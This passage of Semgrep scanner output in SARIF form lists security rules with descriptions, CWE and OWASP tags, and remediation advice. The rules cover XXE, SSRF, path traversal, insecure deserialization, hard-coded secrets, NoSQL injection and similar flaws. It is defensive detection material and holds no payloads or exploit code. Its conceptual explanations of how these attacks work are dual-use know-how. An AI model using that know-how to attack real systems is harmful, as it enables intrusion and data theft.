Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","id":"javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","name":"javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SonarQube Docs API Key detected"},"help":{"markdown":"SonarQube Docs API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SonarQube Docs API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","id":"generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","name":"generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","id":"python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","name":"python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","id":"java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","name":"java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query."},"help":{"markdown":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli)\n - [https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf)\n","text":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query."},"helpUri":"https://semgrep.dev/r/javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","id":"javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","name":"javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information."},"help":{"markdown":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server)\n - [https://nodejs.org/api/http.html#http_class_http_agent](https://nodejs.org/api/http.html#http_class_http_agent)\n - [https://groups.google.com/g/rubyonrails-security/c/NCCsca7TEtY](https://groups.google.com/g/rubyonrails-security/c/NCCsca7TEtY)\n","text":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","id":"problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","name":"problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"help":{"markdown":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","id":"swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","name":"swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","id":"ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","name":"ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible."},"help":{"markdown":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.xml.should-resolve-xxe.swift-xxe-prevention)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible."},"helpUri":"https://semgrep.dev/r/swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","id":"swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","name":"swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.xml.should-resolve-xxe.swift-xxe-prevention"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`."},"help":{"markdown":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","id":"terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","name":"terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen."},"help":{"markdown":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://blog.elcomsoft.com/2020/08/extracting-and-decrypting-ios-keychain-physical-logical-and-cloud-options-explored/](https://blog.elcomsoft.com/2020/08/extracting-and-decrypting-ios-keychain-physical-logical-and-cloud-options-explored/)\n","text":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","id":"swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","name":"swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC721 onERC721Received() reentrancy"},"help":{"markdown":"ERC721 onERC721Received() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc721-reentrancy.erc721-reentrancy)\n - [https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a](https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a)\n - [https://etherscan.io/address/0x14e0a1f310e2b7e321c91f58847e98b8c802f6ef](https://etherscan.io/address/0x14e0a1f310e2b7e321c91f58847e98b8c802f6ef)\n","text":"ERC721 onERC721Received() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc721-reentrancy.erc721-reentrancy","id":"solidity.security.erc721-reentrancy.erc721-reentrancy","name":"solidity.security.erc721-reentrancy.erc721-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc721-reentrancy.erc721-reentrancy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\"."},"help":{"markdown":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\"."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","id":"java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","name":"java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar."},"help":{"markdown":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host)\n - [https://nginx.org/en/docs/http/ngx_http_map_module.html](https://nginx.org/en/docs/http/ngx_http_map_module.html)\n","text":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something 